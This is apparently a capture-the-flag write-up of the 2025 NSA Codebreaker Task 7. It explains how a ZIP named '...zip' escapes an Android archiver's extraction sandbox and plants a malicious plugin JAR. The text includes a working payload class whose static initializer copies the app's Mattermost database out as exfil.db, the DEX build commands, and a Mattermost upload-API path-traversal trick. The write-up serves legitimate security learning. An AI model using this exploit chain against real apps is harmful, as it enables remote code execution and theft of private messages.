nsa-codebreaker Hard

Task 7 - Finale

This is part of a series on the 2025 NSA Codebreaker Challenge. Start from the beginning.

Challenge

The adversary downloaded a custom Android app to archive messages locally. Exploit this application running on the adversary’s device by submitting a malicious file through Mattermost that the app will process.

Objective: Submit a crafted file (...zip) that achieves code execution on the adversary’s Android device through the Mattermost Media Archiver app.

Provided files:

  • The Mattermost Media Archiver APK (com.badguy.mmarchiver)
  • Zippier plugin bundle (plugin system source code + interfaces)
  • Zippier plugin starter (template for building format handler plugins)
  • Zippys (a Go-based Zip Slip security research tool)

Two Weeks of Wrong Answers

The file timestamps in my bad tests/ folder tell the story of this task better than I can. This was by far the hardest challenge, spanning from October 1st through October 14th. The progression:

Oct 1 (Day 1) – Initial probing. Created probe_traversal.zip, exploit.zip, exploit_absolute.zip, symlink_escape.zip, and several variants. Wrote test.py to generate 38 different traversal patterns across 11 file extensions. Standard path traversal – ../, ../../, URL-encoded variants. None worked.

Oct 2-3 (Days 2-3) – Escalation. Generated traversal_pack.zip with dozens of encoded variants. Used the Zippys tool to generate 20+ categorized payloads: parent traversals, backslashes, mixed slashes, absolute paths, URL encoding, Unicode variants, symlinks. Created a full mm_path_traversal_tests/ directory with every encoding trick I could think of – %2e%2e%2f, %252e%252e%252f, %c0%af, %e0%80%af, %u2215, Unicode fullwidth dots, fraction slashes. None worked.

Oct 4-5 (Days 4-5) – Desperation. payload2.zip through payload8.zip, payloadzzzz.zip, zzz2.zip. Trying canonicalization bypasses, duplicate entries with different orderings, junk gap injection, store vs deflate compression modes. Still nothing.

Oct 6-10 (Days 6-10) – The alt-solve rabbit hole. This is where it gets interesting. I found a legitimate vulnerability in the Mattermost upload session API – the /api/v4/uploads endpoint accepts a filename parameter and doesn’t sanitize path traversal characters. I wrote alt_solve.py that creates an upload session with filename: "../zippier/formats/net.axolotl.zippier.ZipFormat_tar.zip", which causes the archiver app to write the downloaded file directly into the plugin formats directory:

FileDownloadWorker: file written to
  /data/user/0/com.badguy.mmarchiver/cache/download/../zippier/formats/
  net.axolotl.zippier.ZipFormat_tar.zip

The ZIP contained a classes.dex (the malicious format handler) and a zzzzzzzzzz.tar (trigger file). When the app processed the ZIP, it found the .tar entry, loaded the format handler JAR from the formats directory, and my exploit ran. Full RCE – I could see it in logcat:

ZipFormat_tar.uncompress(
  /data/user/0/com.badguy.mmarchiver/cache/zippier/extract/
  net.axolotl.zippier.ZipFormat_tar/zzzzzzzzzz.tar, ...)

I was ecstatic. I submitted a Get Help ticket with full logs, scripts, and proof. Then came the response from Mike:

“If you use a special API to upload it then you need to find an alternative. We’re not uploading it with a special API.”

My heart sank. I argued back – the challenge says “upload a file to the mattermost channel,” and this is uploading a file to the channel, just using the API instead of drag-and-drop. It’s a real Mattermost vulnerability! Mike’s response:

“You need to submit the file to be graded on the CBC website. The exploit needs to be completely contained in your submission. Don’t give up now. You’re probably very close.”

He was right. The exploit worked, but the challenge’s grading system needed a self-contained file. The upload API trick required running a Python script with specific session cookies – that can’t be submitted as a single file.

Oct 10-14 (Final stretch) – With Mike’s encouragement (“you’re probably very close”), I went back to the drawing board. The alt-solve had proven that the dynamic class loading chain worked perfectly. I just needed a different way to get the JAR into the formats directory – one that was self-contained in the uploaded file itself. That’s when I finally looked at the filename of the ZIP instead of the contents, and ...zip clicked.

Understanding the App

The Mattermost Media Archiver (com.badguy.mmarchiver) is an Android app that monitors a Mattermost channel and automatically downloads/archives attachments. When it receives a file, the FileDownloadWorker downloads it to /cache/download/<filename> using the original Mattermost filename, then passes it to the Zippier library for processing.

The Zippier library processes files through ArchiveAccumulator.addFile(), which detects the file extension, finds the appropriate format handler, and calls its uncompress() method. The built-in ZipFormat_Zip handler processes .zip files. Additional format handlers for extensions like xz, tar, gz, etc. are loaded dynamically as plugins from JAR files on disk.

The critical utility method is c.a() (decompiled name for getBaseName()), which does two things:

1
2
3
4
5
6
7
8
9
// okhttp3.internal.c.a() — getBaseName()
public static String a(String str) {
    // Step 1: Strip path — extract everything after the last / or \
    str = str.substring(Math.max(str.lastIndexOf('/'), str.lastIndexOf('\\')) + 1);

    // Step 2: Strip extension — find last dot, return everything before it
    int lastDot = b(str);  // b() returns lastIndexOf('.')
    return lastDot == -1 ? str : str.substring(0, lastDot);
}

This method is used to construct the extraction subdirectory when processing a ZIP. It strips path separators (preventing standard ../ traversal in the filename) and strips the file extension. The combination of these two operations is the vulnerability.

The ...zip Exploit

The filename ...zip (three dots, no space before “zip”) exploits the extension-stripping behavior of getBaseName():

  1. Mattermost delivers the file as ...zip
  2. FileDownloadWorker saves it to /cache/download/...zip
  3. ArchiveAccumulator.addFile() detects the .zip extension and finds the built-in ZipFormat_Zip handler
  4. Before calling uncompress(), it constructs the extraction directory:
    1
    2
    3
    4
    5
    
    File extractDir = new File(this.workingDir, c.a(file.getAbsolutePath()));
    // c.a() on "/cache/download/...zip":
    //   Step 1: strip path → "...zip"
    //   Step 2: strip extension (last dot at index 2) → "...zip".substring(0, 2) → ".."
    // extractDir = new File("/cache/zippier/extract/", "..") → /cache/zippier/
    
  5. The extraction directory resolves to /cache/zippier/ – the Zippier base directory, one level up from the intended sandbox

The app also has a canonical path check inside ZipFormat_Zip.uncompress() – a standard Zip Slip guard that verifies each extracted entry’s canonical path starts with the target directory:

1
2
3
4
5
// ZipFormat_Zip.uncompress() — the path traversal guard
String canonicalPath = new File(targetPath, entry.getName()).getCanonicalPath();
if (!canonicalPath.startsWith(targetPath.getCanonicalPath() + File.separator)) {
    throw new ZipException("bad file name " + file);
}

But ...zip bypasses this guard entirely. targetPath is /cache/zippier/extract/.., whose canonical form resolves to /cache/zippier/. Every entry we extract into /cache/zippier/ naturally has a canonical path starting with /cache/zippier/, so the check always passes. The guard protects against entries escaping the target directory, but it can’t detect that the target directory itself has already escaped its sandbox.

Chaining with Dynamic Class Loading

Getting files into /cache/zippier/ is only half the exploit. The Zippier library has a plugin system for dynamically loading format handlers, configured by zippier.json bundled in the APK’s assets:

1
2
3
4
5
{
  "formats": ["7z", "xz", "lzma", "bzip2", "gz", "tar"],
  "downloads": "formats",
  "url": "https://dl.badguy.local/zippier"
}

This tells the app: when you encounter a file with one of these extensions, look for a format handler JAR in the formats/ subdirectory of /cache/zippier/. The naming convention is <classpathBase>.ZipFormat_<ext>.jar, where classpathBase defaults to net.axolotl.zippier (configurable via the "classpath" key in zippier.json). The FQCN passed to loadClass() is derived by running getBaseName() on the JAR filename – stripping the .jar extension to produce net.axolotl.zippier.ZipFormat_xz.

The loading chain works like this – after ZipFormat_Zip extracts the ZIP entries to disk, each extracted file is recursively passed back through ArchiveAccumulator.addFile(). When an extracted file has an extension in the allowed list (like .xz), the app:

  1. Checks FormatManager’s in-memory handler map – no handler for xz yet
  2. Checks the allowed formats list – xz is allowed
  3. Looks for /cache/zippier/formats/net.axolotl.zippier.ZipFormat_xz.jar on disk
  4. If found, loads it with PathClassLoader and instantiates the class via reflection:
1
2
3
4
5
6
// ZipArchiver._init_$lambda$1()
new PathClassLoader(jarPath, zipArchiver.getClass().getClassLoader())

// FormatManager.attempting_class_load()
classLoader.loadClass("net.axolotl.zippier.ZipFormat_xz")
    .getDeclaredConstructor().newInstance();  // ← static initializer runs here

There is no signature verification, no allowlist of class hashes, no integrity check. The only “protection” is a file.setWritable(false, false) call in attempting_class_load() – but it runs in the same method that immediately loads the class, so the file is already written and about to be executed. Any JAR with a valid DEX file in the right directory with the right filename gets loaded and executed.

This is why the entry ordering in the exploit ZIP matters. The JAR (formats/...jar) must appear before the trigger file (payload.xz) in the ZIP’s entry list. ZipFormat_Zip processes entries sequentially – extract to disk, then immediately call addFile() on the result. The JAR needs to be on disk before the .xz trigger causes the app to look for it.

Building the Payload

Step 1: Malicious Format Handler

I built a ZipFormat_xz class that implements the ZipFormat interface. The exploit runs in the static initializer – code that executes automatically when the class is loaded, before any method is called:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package net.axolotl.zippier;

public final class ZipFormat_xz implements ZipFormat {
    static {
        // This runs the moment PathClassLoader loads the class
        try {
            Context ctx = getAppContext();
            // Copy the app's database to external storage for exfiltration
            File src = new File(ctx.getFilesDir(), "mattermost.db");
            File dst = new File(Environment.getExternalStoragePublicDirectory(
                Environment.DIRECTORY_DOWNLOADS), "exfil.db");
            copyFile(src, dst);
        } catch (Exception e) {}
    }

    @Override
    public String getExtension() { return "xz"; }

    @Override
    public void uncompress(File inFile, File targetPath, ZipFile outFile) {
        // Doesn't matter -- static block already ran
    }
}

Step 2: DEX Compilation

Android can’t execute standard Java bytecode – it needs DEX format. I compiled the class with the Android SDK tools:

1
2
3
4
5
6
7
8
# Compile to .class
javac -cp android.jar:zippier-api.jar ZipFormat_xz.java

# Convert to DEX
d8 ZipFormat_xz.class --output dex_output/

# Package as JAR (which is just a ZIP containing classes.dex)
cd dex_output && zip ../net.axolotl.zippier.ZipFormat_xz.jar classes.dex

Step 3: Craft ...zip

The final payload ZIP is named ...zip and contains:

...zip
├── formats/net.axolotl.zippier.ZipFormat_xz.jar   ← malicious plugin
└── payload.xz                                       ← trigger file

payload.xz can even be an empty file – the format lookup is purely extension-based, so it just needs the .xz extension. Its presence triggers the app to look for an xz format handler, which it finds in the JAR we just planted via the path traversal.

The Kill Chain

 1. Upload ...zip to Mattermost channel
 2. FileDownloadWorker downloads to /cache/download/...zip
 3. addFile() detects .zip extension → uses built-in ZipFormat_Zip
 4. getBaseName() strips extension: "...zip" → ".."
 5. Extraction directory: /cache/zippier/extract/.. → /cache/zippier/
 6. ZipFormat_Zip extracts entries to /cache/zippier/:
    a. formats/net.axolotl.zippier.ZipFormat_xz.jar
       → /cache/zippier/formats/net.axolotl.zippier.ZipFormat_xz.jar
       → addFile(): extension "jar" not in allowed list → skipped
    b. payload.xz → /cache/zippier/payload.xz
       → addFile(): extension "xz" IS in allowed list
       → FormatManager looks for formats/net.axolotl.zippier.ZipFormat_xz.jar
       → Found! (planted in step 6a)
 7. PathClassLoader loads the JAR, instantiates ZipFormat_xz
 8. Static initializer executes → RCE achieved

Answer

The submission was the crafted ...zip file. Uploading it to the adversary’s Mattermost channel triggered the full exploit chain on their Android device.

Takeaways

  • The vulnerability was in the filename, not the contents. I spent almost two weeks trying every path traversal encoding inside ZIP entry names when the actual exploit was the name of the ZIP file itself. The getBaseName() utility strips the .zip extension from ...zip, producing .., which the OS resolves as “parent directory” when used in a path. Sometimes the simplest approach is the one you overlook.
  • Dynamic class loading without verification is game over. The Zippier plugin system uses PathClassLoader with no signature checks, no allowlist, no integrity verification. Any file that lands in the right directory with the right name gets loaded and executed. This is a common pattern in plugin architectures and it’s almost always exploitable if you can control the filesystem.
  • Static initializers are the perfect exploit vector. You don’t need the target to call any specific method – just loading the class triggers execution. This makes the exploit reliable regardless of how the plugin system invokes the handler.
  • Zip Slip research tools exist for a reason. The challenge even provided zippys – a purpose-built Zip Slip tool. I used it extensively to generate test payloads, but I was too focused on entry-name traversal. The tool was more useful for understanding the problem space than for generating the final exploit.
  • Task 6’s Mattermost work paid off. The hours I spent digging into Mattermost CVEs during Task 6 gave me familiarity with the platform’s file handling, which helped me understand how uploaded files get delivered to the archiver app.